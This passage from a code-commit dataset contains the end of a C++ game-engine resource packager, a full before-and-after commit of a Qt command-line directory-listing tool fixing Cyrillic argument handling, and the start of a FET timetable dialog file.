header.num_units);\t\n\t}\n\tif (array::size(sprites) > 0)\n\t{\n\t\tout_file->write((char*) array::begin(sprites), sizeof(ResourceId) * header.num_sprites);\n\t}\n\tif (array::size(physics) > 0)\n\t{\n\t\tout_file->write((char*) array::begin(physics), sizeof(ResourceId) * header.num_physics);\n\t}\n\tif (array::size(materials) > 0)\n\t{\n\t\tout_file->write((char*) array::begin(materials), sizeof(ResourceId) * header.num_materials);\n\t}\n\tif (array::size(guis) > 0)\n\t{\n\t\tout_file->write((char*) array::begin(guis), sizeof(ResourceId) * header.num_guis);\n\t}\n\tif (array::size(fonts) > 0)\n\t{\n\t\tout_file->write((char*) array::begin(fonts), sizeof(ResourceId) * header.num_fonts);\n\t}\n\tif (array::size(levels) > 0)\n\t{\n\t\tout_file->write((char*) array::begin(levels), sizeof(ResourceId) * header.num_levels);\n\t}\n}\n\n} \/\/ namespace package_resource\n} \/\/ namespace crown\n<|endoftext|>"}
{"text":"<commit_before>#include \"parser.h\"\n#include <QFileInfoList>\n#include <iostream>\n#include <QString>\n#include <QDebug>\n\nParser::Parser(int argc, char **argv)\n    : itsArgc(argc)\n    , itsArgv(argv)\n    , itsDir(new QDir)\n    , itsOptions(NONE)\n    , itsFilters(QStringList() << \"\")\n    , itsIn(stdin)\n    , itsOut(stdout)\n{\n}\n\nvoid Parser::applyOptions()\n{\n    parseOptions();\n#ifdef DEBUG\n    qDebug() << \"getCollectedOptions() =\" << getCollectedOptions();\n    qDebug() << \"(int)getCollectedOptions() =\" << (int)getCollectedOptions();\n#endif\n    switcher(getCollectedOptions());\n}\n\nvoid Parser::parseToFile()\n{    \n    dirFilters();\n\n    if(!itsDir->exists(itsArgv[1]))\n    {\n        itsOut << \"EROR: path to list don't exist\\n\";\n        return;\n    }\n\n    itsDir->cd(itsArgv[1]);\n\n    QFile file;\n    QFileInfo info;\n\n    file.setFileName(itsArgv[2]);\n    info.setFile(file);\n\n    if (!file.open(QIODevice::WriteOnly | QIODevice::Text))\n    {\n        itsOut << \"ERROR opening file:\" << file.fileName();\n        return;\n    }\n\n    QTextStream out(&file);\n    out << \"ROOT DIR:\\n\" << itsArgv[1] << \":\" << \"\\n\";\n\n    QString filePath = info.absoluteFilePath();\n\n    if(itsOptions.testFlag(RECURSIVE))\n    {\n        recursive(filePath, out);\n    }\n    else\n    {\n        notRecursive(filePath, out);\n    }\n\n    QString p = info.filePath();\n    QString n = info.fileName();\n\n    itsOut << \"\\nSaving file: \" << info.fileName()\n           << \" into \"\n           << p.remove(p.size() - n.size(), p.size() - 1)\n           << \"\\n\";\n\n    file.close();\n}\n\nvoid Parser::parseToConsole()\n{\n\n    dirFilters();\n\n    if(!itsDir->exists(itsArgv[1]))\n    {\n        itsOut << \"EROR: path to list don't exist\\n\";\n        return;\n    }\n\n    itsDir->cd(itsArgv[1]);\n    itsOut << \"ROOT DIR:\\n\" << itsArgv[1] << \":\\n\";\n\n    if(itsOptions.testFlag(RECURSIVE))\n    {\n        recursive(itsDir->absolutePath());\n    }\n    else\n    {\n        notRecursive(itsDir->absolutePath());\n    }\n}\n\nvoid Parser::help()\n{\n    itsOut << \"usage:\\t[--help]\\n\";\n    itsOut << \"   or:\\t<path to list> [options]\\n\";\n    itsOut << \"   or:\\t<path to list> <path and file name to save results> [options]\\n\";\n    itsOut << \"options:\\n\";\n    itsOut << \"\\t-d\\tshow directories\\n\";\n    itsOut << \"\\t-h\\thide output to console\\n\";\n    itsOut << \"\\t-r\\trecursively listing\\n\";\n    itsOut << \"\\t-s\\tshow hidden files\\n\";\n    itsOut << \"\\t-a\\tlist absolute paths\\n\";\n    itsOut << \"\\t--ext:\\\"*.ext1, *.ext2,*.ext3 *.ext4\\\"\\n\\t\\tcreate extension mask on listing files\\n\";\n    itsOut << \"\\t--f:\\\"^fileName1, ^fileName2,^fileName3 ^fileName4\\\"\\n\\t\\tcreate file names mask on listing files or dirs\\n\\t\\tit understands \\\"*\\\" and \\\"?\\\" wildcards\";\n    itsOut << \"Ctrl+C to skip\\n\";\n}\n\nvoid Parser::dirFilters()\n{\n    if(itsOptions.testFlag(HIDENFILES))\n    {\n        itsDir->setFilter(QDir::Files | QDir::Hidden | QDir::NoSymLinks | QDir::Dirs | QDir::NoDotAndDotDot | QDir::AllDirs);\n    }\n    else\n    {\n        itsDir->setFilter(QDir::Files | QDir::NoSymLinks | QDir::Dirs | QDir::NoDotAndDotDot | QDir::AllDirs);\n    }\n    itsDir->setSorting(QDir::Name | QDir::DirsLast | QDir::Type);\n}\n\nvoid Parser::recursive(const QString &dirPath)\n{    \n    itsDir->cd(dirPath);\n\n    dirFilters();\n\n    QFileInfoList list = itsDir->entryInfoList();\n\n    for(int iList = 0; iList < list.size(); ++iList)\n    {\n        QFileInfo fileInfo = list.at(iList);\n        QString filePath = fileInfo.absoluteFilePath();\n\n        if(fileInfo.isDir())\n        {\n            if(itsOptions.testFlag(SHOWDIRS))\n            {\n                if(itsOptions.testFlag(ABSOLUTEPATH))\n                {\n                    itsOut << \"\\n\" << QDir::toNativeSeparators(filePath) << \":\\n\";\n                }\n                else\n                {\n                    QString temp = filePath;\n                    itsOut << \"\\nSUBDIR:\\n..\\\\\" << QDir::toNativeSeparators(temp.remove(0, QString(itsArgv[1]).size())) << \":\\n\";\n                }\n            }\n            recursive(filePath);\n        }\n        else\n        {\n            itsOut << fileInfo.fileName() << \"\\n\";\n        }\n    }\n}\n\nvoid Parser::recursive(const QString &dirPath, QTextStream &out)\n{    \n    itsDir->cd(dirPath);\n\n    QFileInfoList list = itsDir->entryInfoList();\n\n    for(int iList = 0; iList < list.size(); ++iList)\n    {\n        QFileInfo fileInfo = list.at(iList);\n        QString filePath = fileInfo.absoluteFilePath();\n\n        if(fileInfo.isDir())\n        {\n            if(itsOptions.testFlag(SHOWDIRS))\n            {\n                if(itsOptions.testFlag(ABSOLUTEPATH))\n                {\n                    out << \"\\n\" << QDir::toNativeSeparators(filePath) << \":\" << \"\\n\";\n                }\n                else\n                {\n                    QString temp = filePath;\n                    out << \"\\nSUBDIR:\\n..\\\\\" << QDir::toNativeSeparators(temp.remove(0, QString(itsArgv[1]).size())) << \":\\n\";\n                }\n            }\n            recursive(filePath, out);\n        }\n        else\n        {\n            out << fileInfo.fileName() << \"\\n\";\n        }\n    }\n}\n\nvoid Parser::notRecursive(const QString &dirPath)\n{\n    itsDir->cd(dirPath);\n\n    dirFilters();\n\n    QFileInfoList list = itsDir->entryInfoList();\n\n    for(int iList = 0; iList < list.size(); ++iList)\n    {\n        QFileInfo fileInfo = list.at(iList);\n        QString filePath = fileInfo.absoluteFilePath();\n\n        if(fileInfo.isDir())\n        {\n            if(itsOptions.testFlag(SHOWDIRS))\n            {\n                itsOut << \"\\n\" << filePath << \":\\n\";\n            }\n        }\n        else\n        {\n            itsOut << fileInfo.fileName() << \"\\n\";\n        }\n    }\n}\n\nvoid Parser::notRecursive(const QString &dirPath, QTextStream &out)\n{\n    itsDir->cd(dirPath);\n\n    dirFilters();\n\n    QFileInfoList list = itsDir->entryInfoList();\n\n    for(int iList = 0; iList < list.size(); ++iList)\n    {\n        QFileInfo fileInfo = list.at(iList);\n        QString filePath = fileInfo.absoluteFilePath();\n\n        if(fileInfo.isDir())\n        {\n            if(itsOptions.testFlag(SHOWDIRS))\n            {\n                out << \"\\n\" << filePath << \":\" << \"\\n\";\n            }\n        }\n        else\n        {\n            out << qPrintable(fileInfo.fileName()) << \"\\n\";\n        }\n    }\n}\n\nvoid Parser::switcher(Parser::OPTIONS opt)\n{\n    if(opt.testFlag(HELP))\n    {\n        help();\n        return;\n    }\n    if(!opt.testFlag(HIDECONSOLE))\n    {\n        parseToConsole();\n    }\n\n    \/\/ if save to file\n    if(itsDir->isAbsolutePath(itsArgv[2]))\n    {\n        parseToFile();\n    }\n}\n\nParser::OPTIONS Parser::parseOptions()\n{    \n    QString str;\n    for(int i = 1; i < itsArgc; ++i)\n    {\n        str.append(QString(itsArgv[i]));\n    }\n#ifdef DEBUG\n    qDebug() << \"str:\" << str;\n#endif\n\n    QVector <QStringList> opts = polyOptParser(str);\n\n    if(opts.at(0).contains(\"help\")) collectorOptions(HELP);\n    if(opts.at(1).contains(\"d\")) collectorOptions(SHOWDIRS);\n    if(opts.at(1).contains(\"h\")) collectorOptions(HIDECONSOLE);\n    if(opts.at(1).contains(\"r\")) collectorOptions(RECURSIVE);\n    if(opts.at(1).contains(\"s\")) collectorOptions(HIDENFILES);\n    if(opts.at(1).contains(\"a\")) collectorOptions(ABSOLUTEPATH);\n\n    if(!opts.at(2).isEmpty())\n    {\n        itsFilters.append(opts.at(2));\n\n#ifdef DEBUG\n        qDebug() << \"opts.at(2)\" << opts.at(2);\n#endif\n    }\n    if(!opts.at(3).isEmpty())\n    {\n        itsFilters.append(opts.at(3));\n#ifdef DEBUG\n        qDebug() << \"opts.at(3)\" << opts.at(3);\n#endif\n    }\n\n    itsDir->setNameFilters(itsFilters);\n\n    return getCollectedOptions();\n}\n\nvoid Parser::collectorOptions(Parser::OPTIONS opt)\n{\n    itsOptions = itsOptions | opt;\n#ifdef DEBUG\n    qDebug() << \"itsOptions =\" << QString::number(itsOptions);\n#endif\n}\n\nParser::OPTIONS Parser::getCollectedOptions() const\n{\n    return itsOptions;\n}\n\nQVector <QStringList> Parser::polyOptParser(QString str)\n{\n    QString ext = QString(\"(\\\\*\\\\.\\\\w+,?\\\\s?)\");\n    QString f = QString(\"(\\\\^\\\\*?\\\\??\\\\w+\\\\*?\\\\??,?\\\\s?)\");\n    QString opt_opt = QString(\"(-[hrdsa]+[^elp]+)\");\n    QString opt_help = QString(\"(--help)\");\n    QString opt_ext = QString(\"(--ext:\\\"%1+\\\")\").arg(ext);\n    QString opt_f = QString(\"(--f:\\\"%1+\\\")\").arg(f);\n    QString opt = QString(\"%1?\\\\s?%2?\\\\s?%3?%4?\\\\s?\").arg(opt_help).arg(opt_opt).arg(opt_ext).arg(opt_f);\n\n    QRegExp rx_ext(ext);\n    QRegExp rx_f(f);\n    QRegExp rx_opt_opt(opt_opt);\n    QRegExp rx_opt_ext(opt_ext);\n    QRegExp rx_opt_f(opt_f);\n    QRegExp rx_opt_help(opt_help);\n    QRegExp rx_opt(opt);\n\n    QStringList listOpt;\n    QStringList listExt;\n    QStringList listFiles;\n    QStringList listHelp;\n\n    int pos = 0;\n\n    QString stringExt;\n    QString stringFiles;\n    QString stringOpt;\n    QString stringHelp;\n\n    if((rx_opt.indexIn(str, 0) != -1) && (rx_opt_help.indexIn(str, 0) == -1))\n    {\n        if(rx_opt_opt.indexIn(str, 0) != -1)\n        {\n            while((pos = rx_opt_opt.indexIn(str, pos)) != -1)\n            {\n                stringOpt = rx_opt_opt.cap(1);\n                listOpt.append(stringOpt);\n                pos += rx_opt_opt.matchedLength();\n            }\n        }\n        if(rx_opt_ext.indexIn(str, 0) !=-1)\n        {\n            pos = rx_opt_ext.indexIn(str, 0);\n\n            while (((pos = rx_ext.indexIn(str, pos)) != -1) &&\n                   ((pos < rx_opt_f.indexIn(str, 0)) || (rx_opt_f.indexIn(str, 0) == -1)))\n            {\n                stringExt = rx_ext.cap(1);\n                listExt.append(stringExt);\n                pos += rx_ext.matchedLength();\n            }\n        }\n#ifdef DEBUG\n        qDebug() << \"rx_opt_f.indexIn(str, 0):\" << rx_opt_f.indexIn(str, 0);\n#endif\n        if(rx_opt_f.indexIn(str, 0) !=-1)\n        {\n            pos = rx_opt_f.indexIn(str, 0);\n            while ((pos = rx_f.indexIn(str, pos)) != -1)\n            {\n                stringFiles = rx_f.cap(1);\n                listFiles.append(stringFiles);\n                pos += rx_f.matchedLength();\n#ifdef DEBUG\n                qDebug() << \"stringFiles:\" << stringFiles;\n#endif\n            }\n        }\n    }\n    else if((rx_opt_help.indexIn(str, 0) != -1) && (rx_opt.indexIn(str, 0) != -1))\n    {\n        stringHelp = rx_opt_help.cap(0);\n        listHelp.append(stringHelp);\n    }\n    else\n    {\n        qErrnoWarning(\"Incorrect input options!\");\n    }\n\n    QStringList sl;\n\n    foreach (QString temp_str, listOpt) {\n        sl.append(temp_str.replace(QRegExp(\"-\"), \"\").split(QRegExp(\"(?=\\\\w)\"), QString::SkipEmptyParts));\n    }\n    listOpt = sl;\n    sl.clear();\n\n    listOpt.removeDuplicates();\n\n    if(listOpt.isEmpty())\n        qWarning() << \"\\nEmpty Options\\n\";\n    else\n    {\n#ifdef DEBUG\n        qDebug() << \"\\nOptions:\\n\" << listOpt << \"\\n\";\n#endif\n    }\n\n    foreach (QString temp_str, listExt) {\n        sl.append(temp_str.replace(QRegExp(\"[\\\\s,]\"), \"\"));\n    }\n    listExt = sl;\n    sl.clear();\n\n    listExt.removeDuplicates();\n\n    if(listExt.isEmpty())\n        qWarning() << \"\\nEmpty Mask Extentions\\n\";\n    else\n    {\n#ifdef DEBUG\n        qDebug() << \"\\nMask Extensions:\\n\" << listExt << \"\\n\";\n#endif\n    }\n\n\n    foreach (QString temp_str, listFiles) {\n        sl.append(temp_str.replace(QRegExp(\"[\\\\^\\\\s,]\"), \"\"));\n    }\n    listFiles = sl;\n    sl.clear();\n\n    listFiles.removeDuplicates();\n\n    if(listFiles.isEmpty())\n        qWarning() << \"\\nEmpty Files Names\\n\";\n    else\n    {\n#ifdef DEBUG\n        qDebug() << \"\\nFiles Names:\\n\" << listFiles << \"\\n\";\n#endif\n    }\n\n\n    foreach (QString temp_str, listHelp)\n    {\n        sl.append(temp_str.remove(QRegExp(\"--\")));\n    }\n    listHelp = sl;\n    sl.clear();\n\n    listHelp.removeDuplicates();\n\n    if(listHelp.isEmpty())\n        qWarning() << \"\\nEmpty Help\\n\";\n    else\n    {\n#ifdef DEBUG\n        qDebug() << \"\\nHelp:\\n\" << listHelp << \"\\n\";\n#endif\n    }\n\n\n    QVector <QStringList> list;\n\n    list.append(listHelp); \/\/ 0\n    list.append(listOpt);  \/\/ 1\n    list.append(listExt);  \/\/ 2\n    list.append(listFiles);\/\/ 3\n\n#ifdef DEBUG\n    qDebug() << \"list.at(listHelp)\" << list[0];\n    qDebug() << \"list.at(listOpt)\" << list[1];\n    qDebug() << \"list.at(listExt)\" << list[2];\n    qDebug() << \"list.at(listFiles)\" << list[3];\n#endif\n\n    return list;\n}\n<commit_msg>Исправил проблемы с передачей параметров командной строки на кириллице.<commit_after>#include \"parser.h\"\n#include <QFileInfoList>\n#include <iostream>\n#include <QString>\n#include <QDebug>\n\nParser::Parser(int argc, char **argv)\n    : itsArgc(argc)\n    , itsArgv(argv)\n    , itsDir(new QDir)\n    , itsOptions(NONE)\n    , itsFilters(QStringList() << \"\")\n    , itsIn(stdin)\n    , itsOut(stdout)\n{\n}\n\nvoid Parser::applyOptions()\n{\n    parseOptions();\n#ifdef DEBUG\n    qDebug() << \"getCollectedOptions() =\" << getCollectedOptions();\n    qDebug() << \"(int)getCollectedOptions() =\" << (int)getCollectedOptions();\n#endif\n    switcher(getCollectedOptions());\n}\n\nvoid Parser::parseToFile()\n{    \n    dirFilters();\n\n    if(!itsDir->exists(QString::fromLocal8Bit(itsArgv[1])))\n    {\n        itsOut << \"EROR: path to list don't exist\\n\";\n        return;\n    }\n\n    itsDir->cd(QString::fromLocal8Bit(itsArgv[1]));\n\n    QFile file;\n    QFileInfo info;\n\n    file.setFileName(QString::fromLocal8Bit(itsArgv[2]));\n    info.setFile(file);\n\n    if (!file.open(QIODevice::WriteOnly | QIODevice::Text))\n    {\n        itsOut << \"ERROR opening file:\" << file.fileName();\n        return;\n    }\n\n    QTextStream out(&file);\n    out << \"ROOT DIR:\\n\" << QString::fromLocal8Bit(itsArgv[1]) << \":\" << \"\\n\";\n\n    QString filePath = info.absoluteFilePath();\n\n    if(itsOptions.testFlag(RECURSIVE))\n    {\n        recursive(filePath, out);\n    }\n    else\n    {\n        notRecursive(filePath, out);\n    }\n\n    QString p = info.filePath();\n    QString n = info.fileName();\n\n    itsOut << \"\\nSaving file: \" << info.fileName()\n           << \" into \"\n           << p.remove(p.size() - n.size(), p.size() - 1)\n           << \"\\n\";\n\n    file.close();\n}\n\nvoid Parser::parseToConsole()\n{\n\n    dirFilters();\n\n    if(!itsDir->exists(QString::fromLocal8Bit(itsArgv[1])))\n    {\n        itsOut << \"EROR: path to list don't exist\\n\";\n        return;\n    }\n\n    itsDir->cd(QString::fromLocal8Bit(itsArgv[1]));\n    itsOut << \"ROOT DIR:\\n\" << QString::fromLocal8Bit(itsArgv[1]) << \":\\n\";\n\n    if(itsOptions.testFlag(RECURSIVE))\n    {\n        recursive(itsDir->absolutePath());\n    }\n    else\n    {\n        notRecursive(itsDir->absolutePath());\n    }\n}\n\nvoid Parser::help()\n{\n    itsOut << \"usage:\\t[--help]\\n\";\n    itsOut << \"   or:\\t<path to list> [options]\\n\";\n    itsOut << \"   or:\\t<path to list> <path and file name to save results> [options]\\n\";\n    itsOut << \"options:\\n\";\n    itsOut << \"\\t-d\\tshow directories\\n\";\n    itsOut << \"\\t-h\\thide output to console\\n\";\n    itsOut << \"\\t-r\\trecursively listing\\n\";\n    itsOut << \"\\t-s\\tshow hidden files\\n\";\n    itsOut << \"\\t-a\\tlist absolute paths\\n\";\n    itsOut << \"\\t--ext:\\\"*.ext1, *.ext2,*.ext3 *.ext4\\\"\\n\\t\\tcreate extension mask on listing files\\n\";\n    itsOut << \"\\t--f:\\\"^fileName1, ^fileName2,^fileName3 ^fileName4\\\"\\n\\t\\tcreate file names mask on listing files or dirs\\n\\t\\tit understands \\\"*\\\" and \\\"?\\\" wildcards\";\n    itsOut << \"Ctrl+C to skip\\n\";\n}\n\nvoid Parser::dirFilters()\n{\n    if(itsOptions.testFlag(HIDENFILES))\n    {\n        itsDir->setFilter(QDir::Files | QDir::Hidden | QDir::NoSymLinks | QDir::Dirs | QDir::NoDotAndDotDot | QDir::AllDirs);\n    }\n    else\n    {\n        itsDir->setFilter(QDir::Files | QDir::NoSymLinks | QDir::Dirs | QDir::NoDotAndDotDot | QDir::AllDirs);\n    }\n    itsDir->setSorting(QDir::Name | QDir::DirsLast | QDir::Type);\n}\n\nvoid Parser::recursive(const QString &dirPath)\n{    \n    itsDir->cd(dirPath);\n\n    dirFilters();\n\n    QFileInfoList list = itsDir->entryInfoList();\n\n    for(int iList = 0; iList < list.size(); ++iList)\n    {\n        QFileInfo fileInfo = list.at(iList);\n        QString filePath = fileInfo.absoluteFilePath();\n\n        if(fileInfo.isDir())\n        {\n            if(itsOptions.testFlag(SHOWDIRS))\n            {\n                if(itsOptions.testFlag(ABSOLUTEPATH))\n                {\n                    itsOut << \"\\n\" << QDir::toNativeSeparators(filePath) << \":\\n\";\n                }\n                else\n                {\n                    QString temp = filePath;\n                    itsOut << \"\\nSUBDIR:\\n..\" << QDir::toNativeSeparators(temp.remove(0, QString(itsArgv[1]).size())) << \":\\n\";\n                }\n            }\n            recursive(filePath);\n        }\n        else\n        {\n            itsOut << fileInfo.fileName() << \"\\n\";\n        }\n    }\n}\n\nvoid Parser::recursive(const QString &dirPath, QTextStream &out)\n{    \n    itsDir->cd(dirPath);\n\n    QFileInfoList list = itsDir->entryInfoList();\n\n    for(int iList = 0; iList < list.size(); ++iList)\n    {\n        QFileInfo fileInfo = list.at(iList);\n        QString filePath = fileInfo.absoluteFilePath();\n\n        if(fileInfo.isDir())\n        {\n            if(itsOptions.testFlag(SHOWDIRS))\n            {\n                if(itsOptions.testFlag(ABSOLUTEPATH))\n                {\n                    out << \"\\n\" << QDir::toNativeSeparators(filePath) << \":\" << \"\\n\";\n                }\n                else\n                {\n                    QString temp = filePath;\n                    out << \"\\nSUBDIR:\\n..\" << QDir::toNativeSeparators(temp.remove(0, QString(itsArgv[1]).size())) << \":\\n\";\n                }\n            }\n            recursive(filePath, out);\n        }\n        else\n        {\n            out << fileInfo.fileName() << \"\\n\";\n        }\n    }\n}\n\nvoid Parser::notRecursive(const QString &dirPath)\n{\n    itsDir->cd(dirPath);\n\n    dirFilters();\n\n    QFileInfoList list = itsDir->entryInfoList();\n\n    for(int iList = 0; iList < list.size(); ++iList)\n    {\n        QFileInfo fileInfo = list.at(iList);\n        QString filePath = fileInfo.absoluteFilePath();\n\n        if(fileInfo.isDir())\n        {\n            if(itsOptions.testFlag(SHOWDIRS))\n            {\n                itsOut << \"\\n\" << filePath << \":\\n\";\n            }\n        }\n        else\n        {\n            itsOut << fileInfo.fileName() << \"\\n\";\n        }\n    }\n}\n\nvoid Parser::notRecursive(const QString &dirPath, QTextStream &out)\n{\n    itsDir->cd(dirPath);\n\n    dirFilters();\n\n    QFileInfoList list = itsDir->entryInfoList();\n\n    for(int iList = 0; iList < list.size(); ++iList)\n    {\n        QFileInfo fileInfo = list.at(iList);\n        QString filePath = fileInfo.absoluteFilePath();\n\n        if(fileInfo.isDir())\n        {\n            if(itsOptions.testFlag(SHOWDIRS))\n            {\n                out << \"\\n\" << filePath << \":\" << \"\\n\";\n            }\n        }\n        else\n        {\n            out << fileInfo.fileName() << \"\\n\";\n        }\n    }\n}\n\nvoid Parser::switcher(Parser::OPTIONS opt)\n{\n    if(opt.testFlag(HELP))\n    {\n        help();\n        return;\n    }\n    if(!opt.testFlag(HIDECONSOLE))\n    {\n        parseToConsole();\n    }\n\n    \/\/ if save to file\n    if(itsDir->isAbsolutePath(itsArgv[2]))\n    {\n        parseToFile();\n    }\n}\n\nParser::OPTIONS Parser::parseOptions()\n{    \n    QString str;\n    for(int i = 1; i < itsArgc; ++i)\n    {\n        str.append(QString::fromLocal8Bit(itsArgv[i]));\n    }\n#ifdef DEBUG\n    qDebug() << \"str:\" << str;\n#endif\n\n    QVector <QStringList> opts = polyOptParser(str);\n\n    if(opts.at(0).contains(\"help\")) collectorOptions(HELP);\n    if(opts.at(1).contains(\"d\")) collectorOptions(SHOWDIRS);\n    if(opts.at(1).contains(\"h\")) collectorOptions(HIDECONSOLE);\n    if(opts.at(1).contains(\"r\")) collectorOptions(RECURSIVE);\n    if(opts.at(1).contains(\"s\")) collectorOptions(HIDENFILES);\n    if(opts.at(1).contains(\"a\")) collectorOptions(ABSOLUTEPATH);\n\n    if(!opts.at(2).isEmpty())\n    {\n        itsFilters.append(opts.at(2));\n\n#ifdef DEBUG\n        qDebug() << \"opts.at(2)\" << opts.at(2);\n#endif\n    }\n    if(!opts.at(3).isEmpty())\n    {\n        itsFilters.append(opts.at(3));\n#ifdef DEBUG\n        qDebug() << \"opts.at(3)\" << opts.at(3);\n#endif\n    }\n\n    itsDir->setNameFilters(itsFilters);\n\n    return getCollectedOptions();\n}\n\nvoid Parser::collectorOptions(Parser::OPTIONS opt)\n{\n    itsOptions = itsOptions | opt;\n#ifdef DEBUG\n    qDebug() << \"itsOptions =\" << QString::number(itsOptions);\n#endif\n}\n\nParser::OPTIONS Parser::getCollectedOptions() const\n{\n    return itsOptions;\n}\n\nQVector <QStringList> Parser::polyOptParser(QString str)\n{\n    QString ext = QString(\"(\\\\*\\\\.\\\\w+,?\\\\s?)\");\n    QString f = QString(\"(\\\\^\\\\*?\\\\??\\\\w+\\\\*?\\\\??,?\\\\s?)\");\n    QString opt_opt = QString(\"(-[hrdsa]+[^elp]+)\");\n    QString opt_help = QString(\"(--help)\");\n    QString opt_ext = QString(\"(--ext:\\\"%1+\\\")\").arg(ext);\n    QString opt_f = QString(\"(--f:\\\"%1+\\\")\").arg(f);\n    QString opt = QString(\"%1?\\\\s?%2?\\\\s?%3?%4?\\\\s?\").arg(opt_help).arg(opt_opt).arg(opt_ext).arg(opt_f);\n\n    QRegExp rx_ext(ext);\n    QRegExp rx_f(f);\n    QRegExp rx_opt_opt(opt_opt);\n    QRegExp rx_opt_ext(opt_ext);\n    QRegExp rx_opt_f(opt_f);\n    QRegExp rx_opt_help(opt_help);\n    QRegExp rx_opt(opt);\n\n    QStringList listOpt;\n    QStringList listExt;\n    QStringList listFiles;\n    QStringList listHelp;\n\n    int pos = 0;\n\n    QString stringExt;\n    QString stringFiles;\n    QString stringOpt;\n    QString stringHelp;\n\n    if((rx_opt.indexIn(str, 0) != -1) && (rx_opt_help.indexIn(str, 0) == -1))\n    {\n        if(rx_opt_opt.indexIn(str, 0) != -1)\n        {\n            while((pos = rx_opt_opt.indexIn(str, pos)) != -1)\n            {\n                stringOpt = rx_opt_opt.cap(1);\n                listOpt.append(stringOpt);\n                pos += rx_opt_opt.matchedLength();\n            }\n        }\n        if(rx_opt_ext.indexIn(str, 0) !=-1)\n        {\n            pos = rx_opt_ext.indexIn(str, 0);\n\n            while (((pos = rx_ext.indexIn(str, pos)) != -1) &&\n                   ((pos < rx_opt_f.indexIn(str, 0)) || (rx_opt_f.indexIn(str, 0) == -1)))\n            {\n                stringExt = rx_ext.cap(1);\n                listExt.append(stringExt);\n                pos += rx_ext.matchedLength();\n            }\n        }\n#ifdef DEBUG\n        qDebug() << \"rx_opt_f.indexIn(str, 0):\" << rx_opt_f.indexIn(str, 0);\n#endif\n        if(rx_opt_f.indexIn(str, 0) !=-1)\n        {\n            pos = rx_opt_f.indexIn(str, 0);\n            while ((pos = rx_f.indexIn(str, pos)) != -1)\n            {\n                stringFiles = rx_f.cap(1);\n                listFiles.append(stringFiles);\n                pos += rx_f.matchedLength();\n#ifdef DEBUG\n                qDebug() << \"stringFiles:\" << stringFiles;\n#endif\n            }\n        }\n    }\n    else if((rx_opt_help.indexIn(str, 0) != -1) && (rx_opt.indexIn(str, 0) != -1))\n    {\n        stringHelp = rx_opt_help.cap(0);\n        listHelp.append(stringHelp);\n    }\n    else\n    {\n        qErrnoWarning(\"Incorrect input options!\");\n    }\n\n    QStringList sl;\n\n    foreach (QString temp_str, listOpt) {\n        sl.append(temp_str.replace(QRegExp(\"-\"), \"\").split(QRegExp(\"(?=\\\\w)\"), QString::SkipEmptyParts));\n    }\n    listOpt = sl;\n    sl.clear();\n\n    listOpt.removeDuplicates();\n\n    if(listOpt.isEmpty())\n        qWarning() << \"\\nEmpty Options\\n\";\n    else\n    {\n#ifdef DEBUG\n        qDebug() << \"\\nOptions:\\n\" << listOpt << \"\\n\";\n#endif\n    }\n\n    foreach (QString temp_str, listExt) {\n        sl.append(temp_str.replace(QRegExp(\"[\\\\s,]\"), \"\"));\n    }\n    listExt = sl;\n    sl.clear();\n\n    listExt.removeDuplicates();\n\n    if(listExt.isEmpty())\n        qWarning() << \"\\nEmpty Mask Extentions\\n\";\n    else\n    {\n#ifdef DEBUG\n        qDebug() << \"\\nMask Extensions:\\n\" << listExt << \"\\n\";\n#endif\n    }\n\n\n    foreach (QString temp_str, listFiles) {\n        sl.append(temp_str.replace(QRegExp(\"[\\\\^\\\\s,]\"), \"\"));\n    }\n    listFiles = sl;\n    sl.clear();\n\n    listFiles.removeDuplicates();\n\n    if(listFiles.isEmpty())\n        qWarning() << \"\\nEmpty Files Names\\n\";\n    else\n    {\n#ifdef DEBUG\n        qDebug() << \"\\nFiles Names:\\n\" << listFiles << \"\\n\";\n#endif\n    }\n\n\n    foreach (QString temp_str, listHelp)\n    {\n        sl.append(temp_str.remove(QRegExp(\"--\")));\n    }\n    listHelp = sl;\n    sl.clear();\n\n    listHelp.removeDuplicates();\n\n    if(listHelp.isEmpty())\n        qWarning() << \"\\nEmpty Help\\n\";\n    else\n    {\n#ifdef DEBUG\n        qDebug() << \"\\nHelp:\\n\" << listHelp << \"\\n\";\n#endif\n    }\n\n\n    QVector <QStringList> list;\n\n    list.append(listHelp); \/\/ 0\n    list.append(listOpt);  \/\/ 1\n    list.append(listExt);  \/\/ 2\n    list.append(listFiles);\/\/ 3\n\n#ifdef DEBUG\n    qDebug() << \"list.at(listHelp)\" << list[0];\n    qDebug() << \"list.at(listOpt)\" << list[1];\n    qDebug() << \"list.at(listExt)\" << list[2];\n    qDebug() << \"list.at(listFiles)\" << list[3];\n#endif\n\n    return list;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/***************************************************************************\n\t\t\t\t\t\t  constraint_basedialog.cpp  -  description\n\t\t\t\t\t\t\t -------------------\n\tbegin                : 2017\n\tcopyright            : (C) 2017 by Rodolfo RG\n\tThis file is part of a modification of FET timetable (the original is developed by Liviu Lalescu)\n ***************************************************************************\/\n\n\/***************************************************************************\n *                                                                         *\n *   This program is free software: you can redistribute it and\/or modify  *\n *   it under the terms of the GNU Affero General Public License as        *\n *   published by the Free Software Foundation, either version 3 of the    *\n *   License, or (at your option) any later version.                       *\n *                                                                         *\n ***************************************************************************\/\n\n#include \"constraint_basedialog.h\"\n\n#include <QMessageBox>\n#include <QScrollBar>\n#include <QShortcut>\n\n#include <cassert>\n\n#include \"longtextmessagebox.h\"\n\n#include \"centerwidgetonscreen.h\"\n\nConstraintBaseDialog::ConstraintBaseDialog(QWidget* parent): QDialog(parent),\n\t  filterWidget(nullptr)\n{\n\tsetupUi(this);\n\n\tcurrentConstraintTextEdit->setReadOnly(true);\n\n\tmodifyConstraintPushButton->setDefault(true);\n\n\thelpPushButton->setVisible(false);\n\n\tinstructionsLabel->setVisible(false);\n\n\tconstraintsListWidget->setSelectionMode(QAbstractItemView::SingleSelection);\n\n\tconnect(constraintsListWidget, SIGNAL(currentRowChanged(int)), this, SLOT(constraintChanged(int)));\n\tconnect(addConstraintPushButton, SIGNAL(clicked()), this, SLOT(addConstraint()));\n\tconnect(closePushButton, SIGNAL(clicked()), this, SLOT(close()));\n\tconnect(removeConstraintPushButton, SIGNAL(clicked()), this, SLOT(removeConstraint()));\n\tconnect(modifyConstraintPushButton, SIGNAL(clicked()), this, SLOT(modifyConstraint()));\n\tconnect(commentsPushButton, SIGNAL(clicked()), this, SLOT(editComments()));\n\tconnect(activeCheckBox, SIGNAL(clicked(bool)), this, SLOT(toggleActiveConstraint(bool)));\n\tconnect(constraintsListWidget, 